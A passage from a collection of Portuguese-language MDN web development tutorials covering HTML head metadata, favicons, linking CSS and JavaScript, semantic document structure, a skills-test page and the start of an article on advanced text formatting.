são chamados de sitelinks e são configuráveis nas Ferramentas para webmasters do Google — uma maneira de melhorar os resultados de pesquisa do seu site no mecanismo de pesquisa do Google.\n\n**Nota:** Muitos recursos `<meta>` simplesmente não são mais usados. Por exemplo, a palavra-chave `<meta>` elemento (`<meta name=\"keywords\" content=\"preencha, suas, palavras-chave, aqui\">`) — que é suposto fornecer palavras-chave para os motores de busca para determinar a relevância dessa página para diferentes termos de pesquisa — são ignorados pelos motores de busca, porque os spammers estavam apenas preenchendo a lista de palavras-chave com centenas de palavras-chave, influenciando os resultados.\n\n### Outros tipos de metadados\n\nAo navegar pela web, você também encontrará outros tipos de metadados. Muitos dos recursos que você verá em sites são criações proprietárias, projetados para fornecer a determinados sites (como sites de redes sociais) informações específicas que eles podem usar.\n\nPor exemplo, Open Graph Data é um protocolo de metadados que o Facebook inventou para fornecer metadados mais ricos para sites. No código-fonte MDN, você encontrará isso:\n\n\n```html\n<meta\n property=\"og:image\"\n content=\"https://developer.mozilla.org/mdn-social-share.png\" />\n<meta\n property=\"og:description\"\n content=\"A Mozilla Developer Network (MDN) fornece\ninformações sobre tecnologias Open Web, incluindo HTML, CSS e APIs para ambos os sites da Web\ne aplicativos HTML5. Ele também documenta produtos Mozilla, como o sistema operacional Firefox.\" />\n<meta property=\"og:title\" content=\"Mozilla Developer Network\" />\n```\n\n\nUm efeito disso é que, quando você liga a MDN no facebook, o link aparece junto com uma imagem e descrição: uma experiência mais rica para usuários.\n\n![Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML/facebook-output.png)O Twitter também possui seus próprios metadados proprietários, o que tem um efeito semelhante quando o URL do site é exibido no twitter.com. Por exemplo:\n\n\n```html\n<meta name=\"twitter:title\" content=\"Mozilla Developer Network\" />\n```\n\nAdicionando ícones personalizados ao seu site\n---------------------------------------------\n\nPara enriquecer ainda mais o design do seu site, você pode adicionar referências a ícones personalizados em seus metadados, e estes serão exibidos em determinados contextos. O mais usado é o **favicon** (abreviação de \"favorites icon\", referindo-se ao seu uso nas listas \"favoritos\" nos navegadores).\n\nO humilde favicon existe há muitos anos. É o primeiro ícone desse tipo: um ícone 16 pixels quadrados usado em vários lugares. Você pode ver (dependendo do navegador) ícones favoritos exibidos na guia do navegador que contém cada página aberta e ao lado de páginas marcadas no painel de favoritos.\n\nUm favicon pode ser adicionado à sua página:\n\n1. Salvando-o no mesmo diretório que a página de índice do site, salvo no formato `.ico` (a maioria dos navegadores suportará favicons em formatos mais comuns como `.gif` ou `.png`, mas usar o formato ICO irá garantir que ele funcione tão bem como o Internet Explorer 6 .)\n2. Adicionando a seguinte linha ao HTML `<head>` para fazer referência a ele:\n\n```html\n<link rel=\"shortcut icon\" href=\"favicon.ico\" type=\"image/x-icon\" />\n```\n\n\nAqui está um exemplo de um favicon em um painel de faforitos:\n\n![The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it.](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML/bookmark-favicon.png)\n\nHá muitos outros tipos de ícones para considerar nestes dias também. Por exemplo, você encontrará isso no código-fonte da página inicial do MDN Web Docs:\n\n\n```html\n<!-- iPad de terceira geração com tela retina de alta resolução: -->\n<link\n rel=\"apple-touch-icon-precomposed\"\n sizes=\"144x144\"\n href=\"https://developer.mozilla.org/static/img/favicon144.png\" />\n<!-- iPhone com tela retina de alta resolução: -->\n<link\n rel=\"apple-touch-icon-precomposed\"\n sizes=\"114x114\"\n href=\"https://developer.mozilla.org/static/img/favicon114.png\" />\n<!-- iPad de primeira e segunda geração: -->\n<link\n rel=\"apple-touch-icon-precomposed\"\n sizes=\"72x72\"\n href=\"https://developer.mozilla.org/static/img/favicon72.png\" />\n<!-- iPhone não-Retina, iPod Touch e dispositivos Android 2.1+: -->\n<link\n rel=\"apple-touch-icon-precomposed\"\n href=\"https://developer.mozilla.org/static/img/favicon57.png\" />\n<!-- favicon básico -->\n<link\n rel=\"shortcut icon\"\n href=\"https://developer.mozilla.org/static/img/favicon32.png\" />\n```\n\n\nOs comentários explicam onde cada ícone é usado - esses elementos cobrem coisas como fornecer um ícone de alta resolução agradável para usar quando o site é salvo na tela inicial do iPad.\n\nNão se preocupe muito com a implementação de todos esses tipos de ícone agora — este é um recurso bastante avançado, e você não precisará ter conhecimento disso para avançar no curso. O objetivo principal aqui é permitir que você saiba o que são essas coisas, no caso de você encontrá-las enquanto navega no código-fonte dos outros sites.\n\n**Nota:** Se o seu site usa uma Política de Segurança de Conteúdo (CSP) para aumentar sua segurança, a política se aplica ao favicon. Se você encontrar problemas com o favicon não carregando, verifique se a diretiva `img-src` (en-US) do cabeçalho `Content-Security-Policy` não está impedindo o acesso a ele.\n\nAplicando CSS e JavaScript ao HTML\n----------------------------------\n\nTodos os sites que você usar nos dias atuais empregarão o CSS para torná-los legais e o JavaScript para ativar a funcionalidade interativa, como players de vídeo, mapas, jogos e muito mais. Estes são comumente aplicados a uma página web usando o elemento `<link>` e o elemento `<script>` , respectivamente.\n\n* O elemento `<link>` sempre vai no cabeçalho do seu documento. Isso requer dois atributos, rel = \"stylesheet\", que indica que é a folha de estilo do documento e href, que contém o caminho para o arquivo de folha de estilo:\n\n```html\n<link rel=\"stylesheet\" href=\"meu-arquivo-css.css\" />\n```\n\n* O elemento `<script>` não precisa ir no cabeçalho; na verdade, muitas vezes é melhor colocá-lo na parte inferior do corpo do documento (antes da tag `</body>` de fechamento), para garantir que todo o conteúdo HTML tenha sido lido pelo navegador antes de tentar aplicar o JavaScript nele (se o JavaScript tentar acessar um elemento que ainda não existe, o navegador gerará um erro.)\n\n```html\n<script src=\"meu-arquivo-js.js\"></script>\n```\n\n\n**Nota:** O elemento `<script>` pode parecer um elemento vazio, mas não é, e, portanto, precisa de uma tag de fechamento. Em vez de apontar para um arquivo de script externo, você também pode escolher colocar seu script dentro do elemento `<script>`.\n### Aprendizagem ativa: aplicar CSS e JavaScript a uma página\n\n1. Para iniciar esta aprendizagem ativa, pegue uma cópia dos nossos arquivos meta-example.html, script.js e style.css e salve-os em seu computador local no mesmo diretório. Verifique se eles são salvos com os nomes e extensões de arquivo corretos.\n2. Abra o arquivo HTML em seu navegador e seu editor de texto.\n3. Ao seguir as informações fornecidas acima, adicione os elementos `<link>` e `<script>` ao seu HTML, para que seu CSS e JavaScript sejam aplicados ao seu HTML.\n\nSe for feito corretamente, quando você salvar seu HTML e atualizar seu navegador, verá que as coisas mudaram:\n\n![Example showing a page with CSS and JavaScript applied to it. The CSS has made the page go green, whereas the JavaScript has added a dynamic list to the page.](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML/js-and-css.png)\n\n* O JavaScript adicionou uma lista vazia à página. Agora, quando você clica em qualquer lugar da lista, uma caixa de diálogo aparecerá pedindo para que você, insira algum texto para um novo item de lista. Quando você pressiona o botão OK, um novo item será adicionado à lista contendo o texto. Quando você clica em um item de lista existente, uma caixa de diálogo será exibida permitindo que você altere o texto do item.\n* O CSS fez com que o plano de fundo ficasse verde e o texto se tornasse maior. Ele também estilizou parte do conteúdo que o JavaScript adicionou à página (a barra vermelha com a borda preta é o estilo que o CSS adicionou à lista gerada por JS).\n\n**Nota:** Se você ficar preso neste exercício e não conseguir aplicar o CSS/JS, tente verificar nossa página de exemplo css-and-js.html.\n\nDefinir o idioma principal do documento\n---------------------------------------\n\nFinalmente, vale a pena mencionar que você pode (e realmente deveria) definir o idioma da sua página. Isso pode ser feito adicionando o atributo lang à tag HTML de abertura (como visto no meta-example.html e mostrado abaixo).\n\n\n```html\n<html lang=\"pt-BR\"></html>\n```\n\n\nIsso é útil de várias maneiras. O seu documento HTML será indexado de forma mais eficaz pelos motores de busca se o seu idioma for definido (permitindo que ele apareça corretamente em resultados específicos do idioma, por exemplo), e é útil para pessoas com deficiências visuais usando leitores de tela (por exemplo, a palavra \"seis\" existe em Francês e Inglês, mas é pronunciado de forma diferente.)\n\nVocê também pode definir seções secundárias do seu documento para serem reconhecidas em diferentes idiomas. Por exemplo, podemos configurar nossa seção do idioma Japonês para ser reconhecida como japonesa, assim:\n\n\n```html\n<p>Exemplo japonês: <span lang=\"jp\">ご飯が熱い。</span>.</p>\n```\n\n\nEsses códigos são definidos pelo padrão ISO 639. Você pode encontrar mais sobre eles em Tags de idioma em HTML e XML.\n\nResumo\n------\n\nIsso marca o fim de nossa rápida turnê pelo HTML — há muito mais que você pode fazer aqui, mas uma excursão exaustiva seria chata e confusa nesta fase, e nós só queríamos dar uma idéia das coisas mais comuns você encontrará lá, por enquanto! No próximo artigo, veremos o básico do texto HTML.\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima"}
{"title":"Estrutura de documento e sites - Aprendendo desenvolvimento web","text":"Estrutura de documento e sites\n==============================\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima\n\nAlém de definir as partes individuais de sua página (como \"um parágrafo\" ou \"uma imagem\"),\no HTML também conta com vários elementos de nível de bloco usados para definir as áreas de seu site (como \"o cabeçalho\", \"o menu de navegação\", \"a coluna de conteúdo príncipal\"). Este artigo explora como planejar uma estrutura básica de website, e escrever o HTML para representar essa estrutura.\n\n|  |  |\n| --- | --- |\n| Pre-requisitos: | \n Familiaridade básica com HTML, como mostrado em\n Iniciando com HTML. Formatação de texto HTML, como mostrado em\n Fundamentos do texto em HTML. O funcionamento de hiperlinks, como visto em\n Criando hyperlinks.\n  |\n| Objetivo: | \n Aprenda a estruturar seu documento usando tags semânticas e como\n elaborar a estrutura de um site simples.\n  |\n\nSeções básicas de um documento\n------------------------------\n\nAs páginas da web podem e serão muito diferentes umas das outras, mas todas tendem a compartilhar componentes padrão semelhantes, a menos que a página exiba um vídeo ou um jogo em tela cheia, seja parte de algum tipo de projeto de arte ou seja mal estruturada:\n\ncabeçalho (header)\n\nNormalmente, uma grande faixa na parte superior com um grande título e / ou logotipo. É aí que as principais informações comuns sobre um site geralmente ficam de uma página para outra.\n\nbarra de navegação\n\nLinks para as principais seções do site; geralmente representado por botões de menu, links ou guias. Como o cabeçalho, esse conteúdo geralmente permanece consistente de uma página para outra - ter uma navegação inconsistente em seu site levará a usuários confusos e frustrados. Muitos web designers consideram a barra de navegação parte do cabeçalho em vez de um componente individual, mas isso não é um requisito; na verdade, alguns também argumentam que ter os dois separados é melhor para acessibilidade, já que os leitores de tela podem ler melhor os dois recursos se estiverem separados.\n\nconteúdo principal\n\nUma grande área no centro que contém a maior parte do conteúdo exclusivo de uma determinada página da Web, por exemplo, o vídeo que você deseja assistir ou a história principal que você está lendo ou o mapa que deseja visualizar ou as manchetes de notícias, etc. Esta é a única parte do site que definitivamente irá variar de página para página!\n\nbarra lateral (sidebar)\n\nAlgumas informações periféricas, links, cotações, anúncios etc. Geralmente, isso é contextual ao conteúdo principal (por exemplo, em uma página de um artigo de notícias, a barra lateral pode conter a biografia do autor ou links para artigos relacionados), mas há também casos em que você encontrará alguns elementos recorrentes como um sistema de navegação secundário.\n\nrodapé (footer)\n\nUma faixa na parte inferior da página que geralmente contém letras pequenas, avisos de direitos autorais ou informações de contato. É um lugar para colocar informações comuns (como o cabeçalho), mas geralmente essas informações não são críticas ou secundárias ao próprio site. O rodapé também é usado às vezes para fins de SEO, fornecendo links para acesso rápido a conteúdo popular. Um \"site típico\" poderia ser colocado assim:\n\n\n![a simple website structure example featuring a main heading, navigation menu, main content, side bar, and footer.](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure/sample-website.png)\n\nHTML para estruturar conteúdo\n-----------------------------\n\nO exemplo simples mostrado acima não é bonito, mas é perfeitamente aceitável para ilustrar um exemplo típico de layout de website. Alguns sites têm mais colunas, algumas são bem mais complexas, mas você tem a ideia. Com o CSS certo, você poderia usar praticamente todos os elementos para agrupar as diferentes seções e fazer com que parecesse como você queria, mas como discutido anteriormente, precisamos respeitar a semântica e **usar o elemento certo para o trabalho certo.**\n\nIsso ocorre porque os visuais não contam toda a história. Usamos cor e tamanho de fonte para chamar a atenção dos usuários para as partes mais úteis do conteúdo, como o menu de navegação e links relacionados, mas sobre pessoas com deficiência visual, por exemplo, que podem não encontrar conceitos como \"rosa\" e \"grande\". fonte \"muito útil?\n\n**Nota:** Nota: as pessoas daltônicas representam cerca de 4% da população mundial ou, em outras palavras, aproximadamente 1 em cada 12 homens e 1 em cada 200 mulheres são daltônicas. Cegos e deficientes visuais representam cerca de 4-5% da população mundial (em 2012 havia 285 milhões de pessoas no mundo, enquanto a população total era de cerca de 7 bilhões).\n\nEm seu código HTML, você pode marcar seções de conteúdo com base em sua funcionalidade. Você pode usar elementos que representam as seções de conteúdo descritas acima sem ambigüidade, e tecnologias assistivas, como leitores de tela, podem reconhecer esses elementos e ajudar com tarefas como \"localizar a navegação principal\". \"ou\" encontre o conteúdo principal. \" Como mencionamos anteriormente no curso, há um número de consequências de não usar a estrutura de elemento e semâtica certas para o trabalho certo.\n\nPara implementar essa marcação semântica, o HTML fornece tags dedicadas que você pode usar para representar essas seções, por exemplo:\n\n* **cabeçalho**: `<header>`.\n* **barra de navegação:** `<nav>`.\n* **conteúdo principal:** `<main>`, com várias subseções de conteúdo representadas por `<article>`, `<section>`, e elementos `<div>`.\n* **rodapé:** `<footer>`.\n### Aprendizagem ativa: explorando o código para o nosso exemplo\n\nNosso exemplo visto acima é representado pelo seguinte código (você também pode encontrar o exemplo em nosso repositório GitHub). Gostaríamos que você olhasse o exemplo acima e, em seguida, examine a listagem abaixo para ver quais partes compõem a seção do visual.\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n\n    <title>My page title</title>\n    <link\n href=\"https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One\"\n rel=\"stylesheet\"\n type=\"text/css\" />\n    <link rel=\"stylesheet\" href=\"style.css\" />\n\n    <!-- as três linhas abaixo são uma correção para que elementos semânticos HTML5 funcionem em versões antigas do Internet Explorer-->\n    <!--[if lt IE 9]>\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js\"></script>\n <![endif]-->\n  </head>\n\n  <body>\n    <!-- Esse é o cabeçalho (header) principal que vai ser usado em todas as páginas do nosso website -->\n\n    <header>\n      <h1>Header</h1>\n    </header>\n\n    <nav>\n      <ul>\n        <li><a href=\"#\">Home</a></li>\n        <li><a href=\"#\">Our team</a></li>\n        <li><a href=\"#\">Projects</a></li>\n        <li><a href=\"#\">Contact</a></li>\n      </ul>\n\n      <!-- Um formulário de pesquisa é uma outra maneira não linear comum de navegar por um site. -->\n\n      <form>\n        <input type=\"search\" name=\"q\" placeholder=\"Search query\" />\n        <input type=\"submit\" value=\"Go!\" />\n      </form>\n    </nav>\n\n    <!-- Esse é o conteúdo principal da nossa página -->\n    <main>\n      <!-- Contém um artigo -->\n      <article>\n        <h2>Article heading</h2>\n\n        <p>\n          Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam\n          lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam\n          viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent\n          et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt\n          congue enim, ut porta lorem lacinia consectetur.\n        </p>\n\n        <h3>Subsection</h3>\n\n        <p>\n          Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum\n          dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem.\n          Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.\n        </p>\n\n        <p>\n          Pelientesque auctor nisi id magna consequat sagittis. Curabitur\n          dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet.\n          Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.\n        </p>\n\n        <h3>Another subsection</h3>\n\n        <p>\n          Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum\n          soclis natoque penatibus et manis dis parturient montes, nascetur\n          ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem\n          facilisis semper ac in est.\n        </p>\n\n        <p>\n          Vivamus fermentum semper porta. Nunc diam velit, adipscing ut\n          tristique vitae sagittis vel odio. Maecenas convallis ullamcorper\n          ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi\n          diam iaculis velit, is fringille sem nunc vet mi.\n        </p>\n      </article>\n\n      <!-- O contéudo do elemento aside pode ser aninhado dentro do conteúdo do elemento main -->\n      <aside>\n        <h2>Related</h2>\n\n        <ul>\n          <li><a href=\"#\">Oh I do like to be beside the seaside</a></li>\n          <li><a href=\"#\">Oh I do like to be beside the sea</a></li>\n          <li><a href=\"#\">Although in the North of England</a></li>\n          <li><a href=\"#\">It never stops raining</a></li>\n          <li><a href=\"#\">Oh well...</a></li>\n        </ul>\n      </aside>\n    </main>\n\n    <!-- Esse é o rodapé principal que vai ser usado em todas as páginas do nosso website -->\n\n    <footer>\n      <p>©Copyright 2050 by nobody. All rights reversed.</p>\n    </footer>\n  </body>\n</html>\n```\n\n\nReserve um tempo para examinar o código e entendê-lo - os comentários dentro do código também devem ajudá-lo a entendê-lo. Não estamos pedindo que você faça muito mais neste artigo, porque a chave para entender o layout do documento é escrever uma estrutura HTML sólida e, em seguida, defini-la com CSS. Nós vamos aguardar isso até que você comece a estudar o CSS layout como parte do tópico do estudo de CSS.\n\nElementos de layout do HTML em mais detalhes\n--------------------------------------------\n\nÉ bom entender o significado geral de todos os elementos de seção do HTML em detalhes - isso é algo em que você trabalhará gradualmente ao começar a obter mais experiência com o desenvolvimento web. Você pode encontrar muitos detalhes lendo o nosso Elementos HTML. Para agora, estes são as principais definições que você deve tentar entender:\n\n* `<main>` é para o conteúdo único dessa página.Use <main> apenas uma vez por página, e o coloca diretamente dentro do `<body>`. Não é ideal aninhar ele dentro de qualquer outro elemento senão o elemento <body>.\n* `<article>` inclui um bloco de conteúdo relacionado o qual faz sentido por si só, sem o restante da página (por exemplo, uma postagem singular dum blog).\n* `<section>` é similar com <article>, mas ele é mais para agrupar uma única parte de página que constitui em um único pedaço de funcionalidade (por exemplo, um minimapa, ou um conjunto de manchetes e resumo). É considerado boa prática começar cada seção com um título; observe também que você pode dividir um <article>s em diferentes <section>s, ou <section>s em diferentes <article>s, dependendo do contexto.\n* `<aside>` é para conteúdo que não está relacionados diretamente com os conteúdos principais, mas que podem providenciar informações complementares a esses (entradas de glossários, biografia do autor, links relacionados, etc.).\n* `<header>` representa um grupo de conteúdo introdutório. Se ele for um elemento filho do `<body>`, Ele é um header global da página do site, mas se for um elemento filho de um `<article>` ou `<section>`, é definido como um header específico para essa seção ( tenta não confundir isso com títulos e cabeçalhos).\n* `<nav>` contém a funcionalidade principal de navegação da página. Links secundários, etc., não iria na navegação\n* `<footer>` representa um grupo de conteúdo final da página.\n### Elementos de layout não-semânticos\n\nÀs vezes, você se depara numa situação em que não consegue encontrar um elemento semântico ideal para agrupar alguns itens ou agrupar algum conteúdo. Nesses momentos, convém agrupar um conjunto de elementos para afetá-los todos como uma única entidade com alguns CSS ou JavaScript. Para casos como esses, HTML oferece os elementos `<div>` e `<span>`. Você deve usá-los preferencialmente com um atributo `class` adequado, para fornecer a eles algum tipo de rótulo para que possam ser facilmente referenciados.\n\n`<span>` é um elemento não-semântico embutido, que você deve usar apenas se não conseguir pensar em um elemento de texto semântico melhor para agrupar seu conteúdo ou se não quiser adicionar um significado específico. Por exemplo:\n\n\n```html\n<p>\n  O rei voltou bêbado para o quarto às 01:00, a cerveja não fez nada para\n  ajudá-lo enquanto ele cambaleando pela porta\n  <span class=\"editor-note\"\n >[Nota do editor: Neste ponto da peça, as luzes devem estar baixas]</span\n >.\n</p>\n```\n\n\nNesse caso, a nota do editor deve meramente fornecer orientação extra para o diretor da peça; não é suposto ter um significado semântico extra. Para usuários observador, talvez o CSS fosse usado para distanciar a nota um pouco do texto principal.\n\n`<div>` é um elemento não semântico no nível de bloco, que você deve usar apenas se não conseguir pensar em um elemento de bloco semântico melhor para usar ou se não quiser adicionar um significado específico. Por exemplo, imagine um widget de carrinho de compras que você poderia escolher a qualquer momento durante o seu tempo em um site de comércio eletrônico:\n\n\n```html\n<div class=\"carrinho-de-compras\">\n  <h2>Carrinho de compras</h2>\n  <ul>\n    <li>\n      <p>\n        <a href=\"\"><strong>Brincos de prata</strong></a\n >: $99.95.\n      </p>\n      <img src=\"../products/3333-0985/thumb.png\" alt=\"Brincos de prata\" />\n    </li>\n    <li>...</li>\n  </ul>\n  <p>Preço total: $237.89</p>\n</div>\n```\n\n\nEste não é realmente um `<aside>`, pois não está necessariamente relacionado ao conteúdo principal da página (você deseja visualizá-lo de qualquer lugar). Nem sequer garante particularmente o uso de uma `<section>`, pois não faz parte do conteúdo principal da página. Portanto, um <div> é bom neste caso. Incluímos um cabeçalho como orientação para ajudar os usuários de leitores de tela a encontrá-lo.\n\n**Aviso:** Divs são tão convenientes de usar que é fácil usá-los demais. Como eles não carregam valor semântico, eles apenas confundem seu código HTML. Tome cuidado para usá-los somente quando não houver uma solução semântica melhor e tente reduzir ao mínimo o uso deles, caso contrário, será difícil atualizar e manter seus documentos.\n\n### Quebras de linha e regras horizontais\n\nDois elementos que você ocasionalmente vai usar e desejerá conhecer são `<br>` e `<hr>`:\n\n`<br>` cria uma quebra de linha em um parágrafo; é a única maneira de forçar uma estrutura rígida em uma situação em que você deseja uma série de linhas curtas fixas, como em um endereço postal ou um poema. Por exemplo:\n\n\n```html\n<p>\n  Era uma vez um homem chamado O'Dell<br />\n  Que adorava escrever HTML<br />\n  Mas sua estrutura era ruim, sua semântica era triste<br />\n  e sua marcação não leu muito bem.\n</p>\n```\n\n\nSem os elementos `<br>`, o parágrafo seria apenas renderizado em uma longa linha (como dissemos anteriormente no curso, o HTML ignora a maioria dos espaços em branco); com elementos `<br>` no código, a marcação é renderizada assim\n\n Era uma vez um homem chamado O'Dell\n Que adorava escrever HTML\n Mas sua estrutura era ruim, sua semântica era triste\n e sua marcação não leu muito bem.\n\nElementos `<hr>` criam uma regra horizontal no documento que indica uma alteração temática no texto (como uma alteração no tópico ou na cena). Visualmente, apenas se parece com uma linha horizontal. Como um exemplo:\n```\n\n<p>Ron foi apoiado em um canto pelas feras inferiores saqueadores. Assustado, mas determinado a proteger seus amigos, ele levantou a varinha e se preparou para a batalha, esperando que seu pedido de socorro tivesse passado.</p>\n<hr>\n<p>Enquanto isso, Harry estava sentado em casa, olhando para sua declaração de realeza e ponderando quando a próxima série sairia, quando uma carta de socorro encantada voou pela janela e aterrissou em seu colo. Ele leu-o nebuloso e suspirou; \"é melhor voltar ao trabalho então\", ele pensou.</p>\n```\n\n\nSeria renderizado assim:\n\nRon foi apoiado em um canto pelas feras inferiores saqueadores. Assustado, mas determinado a proteger seus amigos, ele levantou a varinha e se preparou para a batalha, esperando que seu pedido de socorro tivesse passado.\n\n---\n\nEnquanto isso, Harry estava sentado em casa, olhando para sua declaração de realeza e ponderando quando a próxima série sairia, quando uma carta de socorro encantada voou pela janela e aterrissou em seu colo. Ele leu-o nebuloso e suspirou; \"é melhor voltar ao trabalho então\", ele pensou.\n\nPlanejando um simples website\n-----------------------------\n\nDepois de planejar o conteúdo de uma página da Web simples, o próximo passo lógico é tentar descobrir qual conteúdo você deseja colocar em um site inteiro, quais páginas você precisa e como elas devem ser organizadas e vinculadas umas às outras. para a melhor experiência de usuário possível. Isso é chamado Information architecture (en-US). Em um site grande e complexo, é possível planejar muito esse processo, mas para um site simples de poucas páginas, isso pode ser bastante simples e divertido!\n\n1. Lembre-se de que você terá alguns elementos comuns à maioria das páginas (se não todas), como o menu de navegação e o conteúdo do rodapé. Se seu site é para uma empresa, por exemplo, é uma boa ideia ter suas informações de contato disponíveis no rodapé de cada página. Anote o que você deseja que seja comum a todas as páginas.\n ![the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure/common-features.png)\n2. Em seguida, desenhe um esboço de como a estrutura de cada página deve parecer (pode parecer com nosso site simples acima). Observe o que cada bloco será.\n ![A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure/site-structure.png)\n3. Agora, faça um brainstorm de todos os outros conteúdos (comuns a todas as páginas) que você deseja ter no seu site - escreva uma grande lista.\n ![A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure/feature-list.png)\n4. Em seguida, tente classificar todos esses itens de conteúdo em grupos, para ter uma idéia de quais partes podem viver juntas em páginas diferentes. Isso é muito semelhante a uma técnica chamada Card sorting (en-US).\n ![The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure/card-sorting.png)\n5. Agora, tente esboçar um mapa do site aproximado - faça um balão para cada página do seu site e desenhe linhas para mostrar o fluxo de trabalho típico entre as páginas. A página inicial provavelmente estará no centro e terá um link para a maioria, senão todas as outras; a maioria das páginas em um site pequeno deve estar disponível na navegação principal, embora haja exceções. Você também pode incluir notas sobre como as coisas podem ser apresentadas.\n ![A map of the site showing the homepage, country page, search results, specials page, checkout, and buy page](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure/site-map.png)\n### Aprendizado ativo: crie seu próprio mapa do site\n\nTente realizar o exercício acima para um site de sua própria criação. Sobre o que você gostaria de criar um site?\n\n**Nota:** Salve seu trabalho em algum lugar; você pode precisar mais tarde.\n\nResumo\n------\n\nNesse ponto, você deve ter uma idéia melhor sobre como estruturar uma página / site. No último artigo deste módulo, estudaremos como depurar HTML.\n\nVer também\n----------\n\n* Seções e estruturas de um documento HTML5: Guia avançado para elementos semânticos do HTML5 e o algoritmo de estrutura de tópicos do HTML5.\n* Anterior\n* Menu: Introduction to HTML\n* Próxima"}
{"title":"Teste suas habilidades: Noções básicas de texto HTML - Aprendendo desenvolvimento web","text":"Teste suas habilidades: Noções básicas de texto HTML\n====================================================\n\nO objetivo deste teste de habilidades é avaliar se você entendeu nosso artigo Fundamentos do texto em HTML.\n\n**Nota:** Você pode testar suas soluções nos editores interativos abaixo, entretanto pode ser de ajuda fazer download do código e usar uma ferramenta online como CodePen, jsFiddle, ou Glitch para trabalhar nas tarefas.\n\nSe você ficar travado em alguma tarefa, peça-nos ajuda — veja a seçãoAssessment or further help no final desta página.\n\nTexto básico em HTML 1\n----------------------\n\nNesta tarefa queremos que você faça a marcação do HTML fornecido, utilizando a semântica de título e parágrafo. Tente editar a amostra, ao vivo, para alterar o exemplo final:\n\n**Nota:** Faça download do ponto de partida desta tarefa para trabalhar em seu próprio editor ou em um editor online.\n\nTexto básico em HTML 2\n----------------------\n\nNesta tarefa queremos que você transforme a primeira lista sem marcação em uma lista não ordenada e a segunda em uma lista ordenada.\n\nTente editar a amostra, ao vivo, para alterar o exemplo final:\n\n**Nota:** Faça download do ponto de partida desta tarefa para trabalhar em seu próprio editor ou em um editor online.\n\nTexto básico em HTML 3\n----------------------\n\nNesta tarefa um parágrafo é fornecido e o seu objetivo é usar elementos de ênfase para fazer a marcação apropriada de algumas palavras com forte importância e com ênfase.\n\nTente editar a amostra, ao vivo, para alterar o exemplo final:\n\n**Nota:** Faça download do ponto de partida desta tarefa para trabalhar em seu próprio editor ou em um editor online.\n\nAvaliação ou ajuda adicional\n----------------------------\n\nVocê pode praticar os exemplos nos Editores Interativos acima.\n\nSe você gostaria de ter seu trabalho avaliado ou está travado e quer pedir ajuda:\n\n1. Coloque seu trabalho em um editor online compartilhável como CodePen, jsFiddle ou Glitch. Você pode escrever o código por si só ou usar os arquivos linkados nas seções acima.\n2. Escreva um post pedindo por avaliação e/ou ajuda no Fórum de discussão do MDN na categoria Learning. Seu post deve incluir:\n    * Um título descritivo como \"Avaliação desejada para o teste de habilidade Texto básico em HTML 1\"\n    * Detalhes sobre o que você já tentou e o que você gostaria que fizéssemos, p. ex. se você está travado e precisa de ajuda ou se deseja uma avaliação.\n    * Um link para o exemplo que você deseja ser avaliado ou ajudado em um editor online compartilhável (como mencionado no passo 1 acima). Essa é uma boa prática para se adquirir - é muito difícil ajudar alguém com um problema no código, se você não consegue ver o código.\n    * Um link para a tarefa atual ou página de avaliação, assim poderemos achar a questão na qual você quer ajuda."}
{"title":"Formatação avançada de texto - Aprendendo desenvolvimento web","text":"Formatação avançada de texto\n============================\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima\n\nExistem muitos outros elementos em HTML para formatação de texto, que não tratamos no artigo de Fundamentos do texto em HTML. Os elementos descritos neste artigo são menos conhecidos, mas ainda são úteis para conhecer (e isso ainda não é uma lista completa de todos os elementos). Aqui, você aprenderá a marcar citações, listas de descrição, código de computador e outros textos relacionados, subscrito e sobrescrito, informações de contato e muito mais.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Familiaridade básica em HTML, conforme abordado em\n Introdução ao HTML. Formatação de texto em HTML, conforme abordado em\n Fundamentais de texto em HTML.\n  |\n| Objetivo: | \n Aprender a usar elementos HTML menos conhecidos para marcar recursos\n semânticos avançados.\n  |\n\nListas de descrição\n-------------------\n\nNos Fundamentos do texto em HTML, falamos sobre como marcar as listas básicas em HTML, mas não mencionamos o terceiro tipo de lista que ocasionalmente irá encontrar - listas de descrição. O objetivo dessas listas é marcar um conjunto de itens e suas descrições associadas, como termos e definições, ou perguntas e respostas. Vejamos um exemplo de um conjunto de termos e definições:\n```\n\nsolilóquio\nNo drama, onde um personagem fala a si mesmo, representando seus pensamentos ou sentimentos internos e no processo, transmitindo-os ao público (mas não a outros 